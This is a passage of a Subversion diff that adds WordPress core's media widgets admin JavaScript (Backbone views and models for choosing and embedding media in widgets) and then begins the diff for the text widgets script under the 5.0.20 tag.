+						embedLinkView.setAddToWidgetButtonDisabled( true );
+					}
+				});
+			}
+
+			this.settings( new Constructor({
+				controller: this.controller,
+				model:      this.model.props,
+				priority:   40
+			}));
+		}
+	});
+
+	/**
+	 * Custom media frame for selecting uploaded media or providing media by URL.
+	 *
+	 * @class MediaFrameSelect
+	 * @constructor
+	 */
+	component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend({
+
+		/**
+		 * Create the default states.
+		 *
+		 * @returns {void}
+		 */
+		createStates: function createStates() {
+			var mime = this.options.mimeType, specificMimes = [];
+			_.each( wp.media.view.settings.embedMimes, function( embedMime ) {
+				if ( 0 === embedMime.indexOf( mime ) ) {
+					specificMimes.push( embedMime );
+				}
+			});
+			if ( specificMimes.length > 0 ) {
+				mime = specificMimes;
+			}
+
+			this.states.add([
+
+				// Main states.
+				new component.PersistentDisplaySettingsLibrary({
+					id:         'insert',
+					title:      this.options.title,
+					selection:  this.options.selection,
+					priority:   20,
+					toolbar:    'main-insert',
+					filterable: 'dates',
+					library:    wp.media.query({
+						type: mime
+					}),
+					multiple:   false,
+					editable:   true,
+
+					selectedDisplaySettings: this.options.selectedDisplaySettings,
+					displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings,
+					displayUserSettings: false // We use the display settings from the current/default widget instance props.
+				}),
+
+				new wp.media.controller.EditImage({ model: this.options.editImage }),
+
+				// Embed states.
+				new wp.media.controller.Embed({
+					metadata: this.options.metadata,
+					type: 'image' === this.options.mimeType ? 'image' : 'link',
+					invalidEmbedTypeError: this.options.invalidEmbedTypeError
+				})
+			]);
+		},
+
+		/**
+		 * Main insert toolbar.
+		 *
+		 * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text.
+		 *
+		 * @param {wp.Backbone.View} view - Toolbar view.
+		 * @this {wp.media.controller.Library}
+		 * @returns {void}
+		 */
+		mainInsertToolbar: function mainInsertToolbar( view ) {
+			var controller = this; // eslint-disable-line consistent-this
+			view.set( 'insert', {
+				style:    'primary',
+				priority: 80,
+				text:     controller.options.text, // The whole reason for the fork.
+				requires: { selection: true },
+
+				/**
+				 * Handle click.
+				 *
+				 * @fires wp.media.controller.State#insert()
+				 * @returns {void}
+				 */
+				click: function onClick() {
+					var state = controller.state(),
+						selection = state.get( 'selection' );
+
+					controller.close();
+					state.trigger( 'insert', selection ).reset();
+				}
+			});
+		},
+
+		/**
+		 * Main embed toolbar.
+		 *
+		 * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text.
+		 *
+		 * @param {wp.Backbone.View} toolbar - Toolbar view.
+		 * @this {wp.media.controller.Library}
+		 * @returns {void}
+		 */
+		mainEmbedToolbar: function mainEmbedToolbar( toolbar ) {
+			toolbar.view = new wp.media.view.Toolbar.Embed({
+				controller: this,
+				text: this.options.text,
+				event: 'insert'
+			});
+		},
+
+		/**
+		 * Embed content.
+		 *
+		 * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field.
+		 *
+		 * @returns {void}
+		 */
+		embedContent: function embedContent() {
+			var view = new component.MediaEmbedView({
+				controller: this,
+				model:      this.state()
+			}).render();
+
+			this.content.set( view );
+
+			if ( ! wp.media.isTouchDevice ) {
+				view.url.focus();
+			}
+		}
+	});
+
+	/**
+	 * Media widget control.
+	 *
+	 * @class MediaWidgetControl
+	 * @constructor
+	 * @abstract
+	 */
+	component.MediaWidgetControl = Backbone.View.extend({
+
+		/**
+		 * Translation strings.
+		 *
+		 * The mapping of translation strings is handled by media widget subclasses,
+		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
+		 *
+		 * @type {Object}
+		 */
+		l10n: {
+			add_to_widget: '{{add_to_widget}}',
+			add_media: '{{add_media}}'
+		},
+
+		/**
+		 * Widget ID base.
+		 *
+		 * This may be defined by the subclass. It may be exported from PHP to JS
+		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not,
+		 * it will attempt to be discovered by looking to see if this control
+		 * instance extends each member of component.controlConstructors, and if
+		 * it does extend one, will use the key as the id_base.
+		 *
+		 * @type {string}
+		 */
+		id_base: '',
+
+		/**
+		 * Mime type.
+		 *
+		 * This must be defined by the subclass. It may be exported from PHP to JS
+		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
+		 *
+		 * @type {string}
+		 */
+		mime_type: '',
+
+		/**
+		 * View events.
+		 *
+		 * @type {Object}
+		 */
+		events: {
+			'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick',
+			'click .select-media': 'selectMedia',
+			'click .placeholder': 'selectMedia',
+			'click .edit-media': 'editMedia'
+		},
+
+		/**
+		 * Show display settings.
+		 *
+		 * @type {boolean}
+		 */
+		showDisplaySettings: true,
+
+		/**
+		 * Initialize.
+		 *
+		 * @param {Object}         options - Options.
+		 * @param {Backbone.Model} options.model - Model.
+		 * @param {jQuery}         options.el - Control field container element.
+		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
+		 * @returns {void}
+		 */
+		initialize: function initialize( options ) {
+			var control = this;
+
+			Backbone.View.prototype.initialize.call( control, options );
+
+			if ( ! ( control.model instanceof component.MediaWidgetModel ) ) {
+				throw new Error( 'Missing options.model' );
+			}
+			if ( ! options.el ) {
+				throw new Error( 'Missing options.el' );
+			}
+			if ( ! options.syncContainer ) {
+				throw new Error( 'Missing options.syncContainer' );
+			}
+
+			control.syncContainer = options.syncContainer;
+
+			control.$el.addClass( 'media-widget-control' );
+
+			// Allow methods to be passed in with control context preserved.
+			_.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' );
+
+			if ( ! control.id_base ) {
+				_.find( component.controlConstructors, function( Constructor, idBase ) {
+					if ( control instanceof Constructor ) {
+						control.id_base = idBase;
+						return true;
+					}
+					return false;
+				});
+				if ( ! control.id_base ) {
+					throw new Error( 'Missing id_base.' );
+				}
+			}
+
+			// Track attributes needed to renderPreview in it's own model.
+			control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() );
+
+			// Re-render the preview when the attachment changes.
+			control.selectedAttachment = new wp.media.model.Attachment();
+			control.renderPreview = _.debounce( control.renderPreview );
+			control.listenTo( control.previewTemplateProps, 'change', control.renderPreview );
+
+			// Make sure a copy of the selected attachment is always fetched.
+			control.model.on( 'change:attachment_id', control.updateSelectedAttachment );
+			control.model.on( 'change:url', control.updateSelectedAttachment );
+			control.updateSelectedAttachment();
+
+			/*
+			 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
+			 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
+			 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
+			 */
+			control.listenTo( control.model, 'change', control.syncModelToInputs );
+			control.listenTo( control.model, 'change', control.syncModelToPreviewProps );
+			control.listenTo( control.model, 'change', control.render );
+
+			// Update the title.
+			control.$el.on( 'input change', '.title', function updateTitle() {
+				control.model.set({
+					title: $.trim( $( this ).val() )
+				});
+			});
+
+			// Update link_url attribute.
+			control.$el.on( 'input change', '.link', function updateLinkUrl() {
+				var linkUrl = $.trim( $( this ).val() ), linkType = 'custom';
+				if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) {
+					linkType = 'post';
+				} else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) {
+					linkType = 'file';
+				}
+				control.model.set( {
+					link_url: linkUrl,
+					link_type: linkType
+				});
+
+				// Update display settings for the next time the user opens to select from the media library.
+				control.displaySettings.set( {
+					link: linkType,
+					linkUrl: linkUrl
+				});
+			});
+
+			/*
+			 * Copy current display settings from the widget model to serve as basis
+			 * of customized display settings for the current media frame session.
+			 * Changes to display settings will be synced into this model, and
+			 * when a new selection is made, the settings from this will be synced
+			 * into that AttachmentDisplay's model to persist the setting changes.
+			 */
+			control.displaySettings = new Backbone.Model( _.pick(
+				control.mapModelToMediaFrameProps(
+					_.extend( control.model.defaults(), control.model.toJSON() )
+				),
+				_.keys( wp.media.view.settings.defaultProps )
+			) );
+		},
+
+		/**
+		 * Update the selected attachment if necessary.
+		 *
+		 * @returns {void}
+		 */
+		updateSelectedAttachment: function updateSelectedAttachment() {
+			var control = this, attachment;
+
+			if ( 0 === control.model.get( 'attachment_id' ) ) {
+				control.selectedAttachment.clear();
+				control.model.set( 'error', false );
+			} else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) {
+				attachment = new wp.media.model.Attachment({
+					id: control.model.get( 'attachment_id' )
+				});
+				attachment.fetch()
+					.done( function done() {
+						control.model.set( 'error', false );
+						control.selectedAttachment.set( attachment.toJSON() );
+					})
+					.fail( function fail() {
+						control.model.set( 'error', 'missing_attachment' );
+					});
+			}
+		},
+
+		/**
+		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
+		 *
+		 * @returns {void}
+		 */
+		syncModelToPreviewProps: function syncModelToPreviewProps() {
+			var control = this;
+			control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() );
+		},
+
+		/**
+		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
+		 *
+		 * @returns {void}
+		 */
+		syncModelToInputs: function syncModelToInputs() {
+			var control = this;
+			control.syncContainer.find( '.media-widget-instance-property' ).each( function() {
+				var input = $( this ), value, propertyName;
+				propertyName = input.data( 'property' );
+				value = control.model.get( propertyName );
+				if ( _.isUndefined( value ) ) {
+					return;
+				}
+
+				if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) {
+					value = value.join( ',' );
+				} else if ( 'boolean' === control.model.schema[ propertyName ].type ) {
+					value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''.
+				} else {
+					value = String( value );
+				}
+
+				if ( input.val() !== value ) {
+					input.val( value );
+					input.trigger( 'change' );
+				}
+			});
+		},
+
+		/**
+		 * Get template.
+		 *
+		 * @returns {Function} Template.
+		 */
+		template: function template() {
+			var control = this;
+			if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) {
+				throw new Error( 'Missing widget control template for ' + control.id_base );
+			}
+			return wp.template( 'widget-media-' + control.id_base + '-control' );
+		},
+
+		/**
+		 * Render template.
+		 *
+		 * @returns {void}
+		 */
+		render: function render() {
+			var control = this, titleInput;
+
+			if ( ! control.templateRendered ) {
+				control.$el.html( control.template()( control.model.toJSON() ) );
+				control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes.
+				control.templateRendered = true;
+			}
+
+			titleInput = control.$el.find( '.title' );
+			if ( ! titleInput.is( document.activeElement ) ) {
+				titleInput.val( control.model.get( 'title' ) );
+			}
+
+			control.$el.toggleClass( 'selected', control.isSelected() );
+		},
+
+		/**
+		 * Render media preview.
+		 *
+		 * @abstract
+		 * @returns {void}
+		 */
+		renderPreview: function renderPreview() {
+			throw new Error( 'renderPreview must be implemented' );
+		},
+
+		/**
+		 * Whether a media item is selected.
+		 *
+		 * @returns {boolean} Whether selected and no error.
+		 */
+		isSelected: function isSelected() {
+			var control = this;
+
+			if ( control.model.get( 'error' ) ) {
+				return false;
+			}
+
+			return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) );
+		},
+
+		/**
+		 * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice.
+		 *
+		 * @param {jQuery.Event} event - Event.
+		 * @returns {void}
+		 */
+		handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) {
+			var control = this;
+			event.preventDefault();
+			control.selectMedia();
+		},
+
+		/**
+		 * Open the media select frame to chose an item.
+		 *
+		 * @returns {void}
+		 */
+		selectMedia: function selectMedia() {
+			var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = [];
+
+			if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) {
+				selectionModels.push( control.selectedAttachment );
+			}
+
+			selection = new wp.media.model.Selection( selectionModels, { multiple: false } );
+
+			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
+			if ( mediaFrameProps.size ) {
+				control.displaySettings.set( 'size', mediaFrameProps.size );
+			}
+
+			mediaFrame = new component.MediaFrameSelect({
+				title: control.l10n.add_media,
+				frame: 'post',
+				text: control.l10n.add_to_widget,
+				selection: selection,
+				mimeType: control.mime_type,
+				selectedDisplaySettings: control.displaySettings,
+				showDisplaySettings: control.showDisplaySettings,
+				metadata: mediaFrameProps,
+				state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert',
+				invalidEmbedTypeError: control.l10n.unsupported_file_type
+			});
+			wp.media.frame = mediaFrame; // See wp.media().
+
+			// Handle selection of a media item.
+			mediaFrame.on( 'insert', function onInsert() {
+				var attachment = {}, state = mediaFrame.state();
+
+				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
+				if ( 'embed' === state.get( 'id' ) ) {
+					_.extend( attachment, { id: 0 }, state.props.toJSON() );
+				} else {
+					_.extend( attachment, state.get( 'selection' ).first().toJSON() );
+				}
+
+				control.selectedAttachment.set( attachment );
+				control.model.set( 'error', false );
+
+				// Update widget instance.
+				control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) );
+			});
+
+			// Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>.
+			defaultSync = wp.media.model.Attachment.prototype.sync;
+			wp.media.model.Attachment.prototype.sync = function( method ) {
+				if ( 'delete' === method ) {
+					return defaultSync.apply( this, arguments );
+				} else {
+					return $.Deferred().rejectWith( this ).promise();
+				}
+			};
+			mediaFrame.on( 'close', function onClose() {
+				wp.media.model.Attachment.prototype.sync = defaultSync;
+			});
+
+			mediaFrame.$el.addClass( 'media-widget' );
+			mediaFrame.open();
+
+			// Clear the selected attachment when it is deleted in the media select frame.
+			if ( selection ) {
+				selection.on( 'destroy', function onDestroy( attachment ) {
+					if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) {
+						control.model.set({
+							attachment_id: 0,
+							url: ''
+						});
+					}
+				});
+			}
+
+			/*
+			 * Make sure focus is set inside of modal so that hitting Esc will close
+			 * the modal and not inadvertently cause the widget to collapse in the customizer.
+			 */
+			mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus();
+		},
+
+		/**
+		 * Get the instance props from the media selection frame.
+		 *
+		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
+		 * @returns {Object} Props.
+		 */
+		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
+			var control = this, state, mediaFrameProps, modelProps;
+
+			state = mediaFrame.state();
+			if ( 'insert' === state.get( 'id' ) ) {
+				mediaFrameProps = state.get( 'selection' ).first().toJSON();
+				mediaFrameProps.postUrl = mediaFrameProps.link;
+
+				if ( control.showDisplaySettings ) {
+					_.extend(
+						mediaFrameProps,
+						mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON()
+					);
+				}
+				if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) {
+					mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url;
+				}
+			} else if ( 'embed' === state.get( 'id' ) ) {
+				mediaFrameProps = _.extend(
+					state.props.toJSON(),
+					{ attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`.
+					control.model.getEmbedResetProps()
+				);
+			} else {
+				throw new Error( 'Unexpected state: ' + state.get( 'id' ) );
+			}
+
+			if ( mediaFrameProps.id ) {
+				mediaFrameProps.attachment_id = mediaFrameProps.id;
+			}
+
+			modelProps = control.mapMediaToModelProps( mediaFrameProps );
+
+			// Clear the extension prop so sources will be reset for video and audio media.
+			_.each( wp.media.view.settings.embedExts, function( ext ) {
+				if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) {
+					modelProps[ ext ] = '';
+				}
+			});
+
+			return modelProps;
+		},
+
+		/**
+		 * Map media frame props to model props.
+		 *
+		 * @param {Object} mediaFrameProps - Media frame props.
+		 * @returns {Object} Model props.
+		 */
+		mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) {
+			var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension;
+			_.each( control.model.schema, function( fieldSchema, modelProp ) {
+
+				// Ignore widget title attribute.
+				if ( 'title' === modelProp ) {
+					return;
+				}
+				mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp;
+			});
+
+			_.each( mediaFrameProps, function( value, mediaProp ) {
+				var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp;
+				if ( control.model.schema[ propName ] ) {
+					modelProps[ propName ] = value;
+				}
+			});
+
+			if ( 'custom' === mediaFrameProps.size ) {
+				modelProps.width = mediaFrameProps.customWidth;
+				modelProps.height = mediaFrameProps.customHeight;
+			}
+
+			if ( 'post' === mediaFrameProps.link ) {
+				modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl;
+			} else if ( 'file' === mediaFrameProps.link ) {
+				modelProps.link_url = mediaFrameProps.url;
+			}
+
+			// Because some media frames use `id` instead of `attachment_id`.
+			if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) {
+				modelProps.attachment_id = mediaFrameProps.id;
+			}
+
+			if ( mediaFrameProps.url ) {
+				extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase();
+				if ( extension in control.model.schema ) {
+					modelProps[ extension ] = mediaFrameProps.url;
+				}
+			}
+
+			// Always omit the titles derived from mediaFrameProps.
+			return _.omit( modelProps, 'title' );
+		},
+
+		/**
+		 * Map model props to media frame props.
+		 *
+		 * @param {Object} modelProps - Model props.
+		 * @returns {Object} Media frame props.
+		 */
+		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
+			var control = this, mediaFrameProps = {};
+
+			_.each( modelProps, function( value, modelProp ) {
+				var fieldSchema = control.model.schema[ modelProp ] || {};
+				mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value;
+			});
+
+			// Some media frames use attachment_id.
+			mediaFrameProps.attachment_id = mediaFrameProps.id;
+
+			if ( 'custom' === mediaFrameProps.size ) {
+				mediaFrameProps.customWidth = control.model.get( 'width' );
+				mediaFrameProps.customHeight = control.model.get( 'height' );
+			}
+
+			return mediaFrameProps;
+		},
+
+		/**
+		 * Map model props to previewTemplateProps.
+		 *
+		 * @returns {Object} Preview Template Props.
+		 */
+		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
+			var control = this, previewTemplateProps = {};
+			_.each( control.model.schema, function( value, prop ) {
+				if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) {
+					previewTemplateProps[ prop ] = control.model.get( prop );
+				}
+			});
+
+			// Templates need to be aware of the error.
+			previewTemplateProps.error = control.model.get( 'error' );
+			return previewTemplateProps;
+		},
+
+		/**
+		 * Open the media frame to modify the selected item.
+		 *
+		 * @abstract
+		 * @returns {void}
+		 */
+		editMedia: function editMedia() {
+			throw new Error( 'editMedia not implemented' );
+		}
+	});
+
+	/**
+	 * Media widget model.
+	 *
+	 * @class MediaWidgetModel
+	 * @constructor
+	 */
+	component.MediaWidgetModel = Backbone.Model.extend({
+
+		/**
+		 * Id attribute.
+		 *
+		 * @type {string}
+		 */
+		idAttribute: 'widget_id',
+
+		/**
+		 * Instance schema.
+		 *
+		 * This adheres to JSON Schema and subclasses should have their schema
+		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
+		 *
+		 * @type {Object.<string, Object>}
+		 */
+		schema: {
+			title: {
+				type: 'string',
+				'default': ''
+			},
+			attachment_id: {
+				type: 'integer',
+				'default': 0
+			},
+			url: {
+				type: 'string',
+				'default': ''
+			}
+		},
+
+		/**
+		 * Get default attribute values.
+		 *
+		 * @returns {Object} Mapping of property names to their default values.
+		 */
+		defaults: function() {
+			var defaults = {};
+			_.each( this.schema, function( fieldSchema, field ) {
+				defaults[ field ] = fieldSchema['default'];
+			});
+			return defaults;
+		},
+
+		/**
+		 * Set attribute value(s).
+		 *
+		 * This is a wrapped version of Backbone.Model#set() which allows us to
+		 * cast the attribute values from the hidden inputs' string values into
+		 * the appropriate data types (integers or booleans).
+		 *
+		 * @param {string|Object} key - Attribute name or attribute pairs.
+		 * @param {mixed|Object}  [val] - Attribute value or options object.
+		 * @param {Object}        [options] - Options when attribute name and value are passed separately.
+		 * @returns {wp.mediaWidgets.MediaWidgetModel} This model.
+		 */
+		set: function set( key, val, options ) {
+			var model = this, attrs, opts, castedAttrs; // eslint-disable-line consistent-this
+			if ( null === key ) {
+				return model;
+			}
+			if ( 'object' === typeof key ) {
+				attrs = key;
+				opts = val;
+			} else {
+				attrs = {};
+				attrs[ key ] = val;
+				opts = options;
+			}
+
+			castedAttrs = {};
+			_.each( attrs, function( value, name ) {
+				var type;
+				if ( ! model.schema[ name ] ) {
+					castedAttrs[ name ] = value;
+					return;
+				}
+				type = model.schema[ name ].type;
+				if ( 'array' === type ) {
+					castedAttrs[ name ] = value;
+					if ( ! _.isArray( castedAttrs[ name ] ) ) {
+						castedAttrs[ name ] = castedAttrs[ name ].split( /,/ ); // Good enough for parsing an ID list.
+					}
+					if ( model.schema[ name ].items && 'integer' === model.schema[ name ].items.type ) {
+						castedAttrs[ name ] = _.filter(
+							_.map( castedAttrs[ name ], function( id ) {
+								return parseInt( id, 10 );
+							},
+							function( id ) {
+								return 'number' === typeof id;
+							}
+						) );
+					}
+				} else if ( 'integer' === type ) {
+					castedAttrs[ name ] = parseInt( value, 10 );
+				} else if ( 'boolean' === type ) {
+					castedAttrs[ name ] = ! ( ! value || '0' === value || 'false' === value );
+				} else {
+					castedAttrs[ name ] = value;
+				}
+			});
+
+			return Backbone.Model.prototype.set.call( this, castedAttrs, opts );
+		},
+
+		/**
+		 * Get props which are merged on top of the model when an embed is chosen (as opposed to an attachment).
+		 *
+		 * @returns {Object} Reset/override props.
+		 */
+		getEmbedResetProps: function getEmbedResetProps() {
+			return {
+				id: 0
+			};
+		}
+	});
+
+	/**
+	 * Collection of all widget model instances.
+	 *
+	 * @type {Backbone.Collection}
+	 */
+	component.modelCollection = new ( Backbone.Collection.extend({
+		model: component.MediaWidgetModel
+	}) )();
+
+	/**
+	 * Mapping of widget ID to instances of MediaWidgetControl subclasses.
+	 *
+	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetControl>}
+	 */
+	component.widgetControls = {};
+
+	/**
+	 * Handle widget being added or initialized for the first time at the widget-added event.
+	 *
+	 * @param {jQuery.Event} event - Event.
+	 * @param {jQuery}       widgetContainer - Widget container element.
+	 * @returns {void}
+	 */
+	component.handleWidgetAdded = function handleWidgetAdded( event, widgetContainer ) {
+		var fieldContainer, syncContainer, widgetForm, idBase, ControlConstructor, ModelConstructor, modelAttributes, widgetControl, widgetModel, widgetId, animatedCheckDelay = 50, renderWhenAnimationDone;
+		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' ); // Note: '.form' appears in the customizer, whereas 'form' on the widgets admin screen.
+		idBase = widgetForm.find( '> .id_base' ).val();
+		widgetId = widgetForm.find( '> .widget-id' ).val();
+
+		// Prevent initializing already-added widgets.
+		if ( component.widgetControls[ widgetId ] ) {
+			return;
+		}
+
+		ControlConstructor = component.controlConstructors[ idBase ];
+		if ( ! ControlConstructor ) {
+			return;
+		}
+
+		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
+
+		/*
+		 * Create a container element for the widget control (Backbone.View).
+		 * This is inserted into the DOM immediately before the .widget-content
+		 * element because the contents of this element are essentially "managed"
+		 * by PHP, where each widget update cause the entire element to be emptied
+		 * and replaced with the rendered output of WP_Widget::form() which is
+		 * sent back in Ajax request made to save/update the widget instance.
+		 * To prevent a "flash of replaced DOM elements and re-initialized JS
+		 * components", the JS template is rendered outside of the normal form
+		 * container.
+		 */
+		fieldContainer = $( '<div></div>' );
+		syncContainer = widgetContainer.find( '.widget-content:first' );
+		syncContainer.before( fieldContainer );
+
+		/*
+		 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
+		 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
+		 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
+		 */
+		modelAttributes = {};
+		syncContainer.find( '.media-widget-instance-property' ).each( function() {
+			var input = $( this );
+			modelAttributes[ input.data( 'property' ) ] = input.val();
+		});
+		modelAttributes.widget_id = widgetId;
+
+		widgetModel = new ModelConstructor( modelAttributes );
+
+		widgetControl = new ControlConstructor({
+			el: fieldContainer,
+			syncContainer: syncContainer,
+			model: widgetModel
+		});
+
+		/*
+		 * Render the widget once the widget parent's container finishes animating,
+		 * as the widget-added event fires with a slideDown of the container.
+		 * This ensures that the container's dimensions are fixed so that ME.js
+		 * can initialize with the proper dimensions.
+		 */
+		renderWhenAnimationDone = function() {
+			if ( ! widgetContainer.hasClass( 'open' ) ) {
+				setTimeout( renderWhenAnimationDone, animatedCheckDelay );
+			} else {
+				widgetControl.render();
+			}
+		};
+		renderWhenAnimationDone();
+
+		/*
+		 * Note that the model and control currently won't ever get garbage-collected
+		 * when a widget gets removed/deleted because there is no widget-removed event.
+		 */
+		component.modelCollection.add( [ widgetModel ] );
+		component.widgetControls[ widgetModel.get( 'widget_id' ) ] = widgetControl;
+	};
+
+	/**
+	 * Setup widget in accessibility mode.
+	 *
+	 * @returns {void}
+	 */
+	component.setupAccessibleMode = function setupAccessibleMode() {
+		var widgetForm, widgetId, idBase, widgetControl, ControlConstructor, ModelConstructor, modelAttributes, fieldContainer, syncContainer;
+		widgetForm = $( '.editwidget > form' );
+		if ( 0 === widgetForm.length ) {
+			return;
+		}
+
+		idBase = widgetForm.find( '> .widget-control-actions > .id_base' ).val();
+
+		ControlConstructor = component.controlConstructors[ idBase ];
+		if ( ! ControlConstructor ) {
+			return;
+		}
+
+		widgetId = widgetForm.find( '> .widget-control-actions > .widget-id' ).val();
+
+		ModelConstructor = component.modelConstructors[ idBase ] || component.MediaWidgetModel;
+		fieldContainer = $( '<div></div>' );
+		syncContainer = widgetForm.find( '> .widget-inside' );
+		syncContainer.before( fieldContainer );
+
+		modelAttributes = {};
+		syncContainer.find( '.media-widget-instance-property' ).each( function() {
+			var input = $( this );
+			modelAttributes[ input.data( 'property' ) ] = input.val();
+		});
+		modelAttributes.widget_id = widgetId;
+
+		widgetControl = new ControlConstructor({
+			el: fieldContainer,
+			syncContainer: syncContainer,
+			model: new ModelConstructor( modelAttributes )
+		});
+
+		component.modelCollection.add( [ widgetControl.model ] );
+		component.widgetControls[ widgetControl.model.get( 'widget_id' ) ] = widgetControl;
+
+		widgetControl.render();
+	};
+
+	/**
+	 * Sync widget instance data sanitized from server back onto widget model.
+	 *
+	 * This gets called via the 'widget-updated' event when saving a widget from
+	 * the widgets admin screen and also via the 'widget-synced' event when making
+	 * a change to a widget in the customizer.
+	 *
+	 * @param {jQuery.Event} event - Event.
+	 * @param {jQuery}       widgetContainer - Widget container element.
+	 * @returns {void}
+	 */
+	component.handleWidgetUpdated = function handleWidgetUpdated( event, widgetContainer ) {
+		var widgetForm, widgetContent, widgetId, widgetControl, attributes = {};
+		widgetForm = widgetContainer.find( '> .widget-inside > .form, > .widget-inside > form' );
+		widgetId = widgetForm.find( '> .widget-id' ).val();
+
+		widgetControl = component.widgetControls[ widgetId ];
+		if ( ! widgetControl ) {
+			return;
+		}
+
+		// Make sure the server-sanitized values get synced back into the model.
+		widgetContent = widgetForm.find( '> .widget-content' );
+		widgetContent.find( '.media-widget-instance-property' ).each( function() {
+			var property = $( this ).data( 'property' );
+			attributes[ property ] = $( this ).val();
+		});
+
+		// Suspend syncing model back to inputs when syncing from inputs to model, preventing infinite loop.
+		widgetControl.stopListening( widgetControl.model, 'change', widgetControl.syncModelToInputs );
+		widgetControl.model.set( attributes );
+		widgetControl.listenTo( widgetControl.model, 'change', widgetControl.syncModelToInputs );
+	};
+
+	/**
+	 * Initialize functionality.
+	 *
+	 * This function exists to prevent the JS file from having to boot itself.
+	 * When WordPress enqueues this script, it should have an inline script
+	 * attached which calls wp.mediaWidgets.init().
+	 *
+	 * @returns {void}
+	 */
+	component.init = function init() {
+		var $document = $( document );
+		$document.on( 'widget-added', component.handleWidgetAdded );
+		$document.on( 'widget-synced widget-updated', component.handleWidgetUpdated );
+
+		/*
+		 * Manually trigger widget-added events for media widgets on the admin
+		 * screen once they are expanded. The widget-added event is not triggered
+		 * for each pre-existing widget on the widgets admin screen like it is
+		 * on the customizer. Likewise, the customizer only triggers widget-added
+		 * when the widget is expanded to just-in-time construct the widget form
+		 * when it is actually going to be displayed. So the following implements
+		 * the same for the widgets admin screen, to invoke the widget-added
+		 * handler when a pre-existing media widget is expanded.
+		 */
+		$( function initializeExistingWidgetContainers() {
+			var widgetContainers;
+			if ( 'widgets' !== window.pagenow ) {
+				return;
+			}
+			widgetContainers = $( '.widgets-holder-wrap:not(#available-widgets)' ).find( 'div.widget' );
+			widgetContainers.one( 'click.toggle-widget-expanded', function toggleWidgetExpanded() {
+				var widgetContainer = $( this );
+				component.handleWidgetAdded( new jQuery.Event( 'widget-added' ), widgetContainer );
+			});
+
+			// Accessibility mode.
+			$( window ).on( 'load', function() {
+				component.setupAccessibleMode();
+			});
+		});
+	};
+
+	return component;
+})( jQuery );
Index: /tags/5.0.20/src/wp-admin/js/widgets/text-widgets.js
===================================================================
--- /tags/5.0.20/src/wp-admin/js/widgets/text-widgets.js	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/js/widgets/text-widgets.js	(revision 56912)
@@ -0,0 +1,535 @@
+/* global tinymce, switchEditors */
